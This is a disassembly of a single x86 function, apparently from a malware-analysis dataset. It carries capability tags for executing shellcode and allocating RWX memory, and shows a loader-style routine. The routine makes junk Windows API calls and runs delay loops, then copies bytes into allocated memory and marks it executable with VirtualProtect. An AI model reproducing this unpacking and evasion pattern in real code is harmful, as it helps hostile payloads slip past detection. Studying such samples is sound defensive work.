Function at 0x40627d
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
mov eax, 0x42c024
call fcn.0042bf28
mov eax, 0x1468
call fcn.00415e80
push ebx
push esi
xor esi, esi
cmp dword [0x4dffe0], 0x5b1
push edi
jne 0x406343
push esi
lea eax, [ebp - 0x474]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.ole32.dll_StringFromCLSID]
lea eax, [ebp - 0x54]
call fcn.00406629
push esi
mov dword [ebp - 4], esi
call fcn.00408084
pop ecx
push esi
call fcn.004073ac
pop ecx
push esi
push esi
push esi
push esi
call fcn.00407d22
add esp, 0x10
call fcn.0040715c
push 0x405a3c
lea ecx, [ebp - 0x28]
call fcn.00405dd0
lea ecx, [ebp - 0x28]
call fcn.00405dec
push esi
push esi
call fcn.00407a77
push esi
call fcn.00407a48
add esp, 0xc
push esi
push esi
call fcn.00407338
pop ecx
pop ecx
push esi
call fcn.00408478
add dword [0x4dffe0], 0x1134b
push dword [0x4dffe0]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4def34], eax
mov edi, 0x1e6cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x28]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec edi
jne 0x406364
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [0x4dffe0]
push dword [0x4def34]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x4063bd
inc edi
cmp edi, 0x4f6a4
jl 0x4063a3
xor edi, edi
cmp dword [0x4dffe0], esi
jbe 0x40640c
cmp dword [0x4dffe0], 0xa8
mov eax, dword [0x4dffe4]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4def34]
mov byte [ecx + edi], al
jne 0x406403
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push esi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x4dffe0]
jb 0x4063c7
xor edi, edi
mov eax, dword [0x4dffe0]
add eax, edi
cmp eax, 0xe
jne 0x406454
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [ebp - 0x474]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x40640e
call fcn.0040615b
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x406471
call fcn.00406263
inc edi
cmp edi, 0x6753f
jl 0x406464
push 0x7b
pop edi
cmp dword [0x4dffe0], 0x86
jne 0x4064ea
lea eax, [ebp - 0x70]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x405a4c
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
push esi
lea eax, [ebp - 0xc74]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push esi
lea eax, [ebp - 0x1474]
push eax
push esi
push 0x405a70
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec edi
jne 0x40647d
push 0x405a80
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret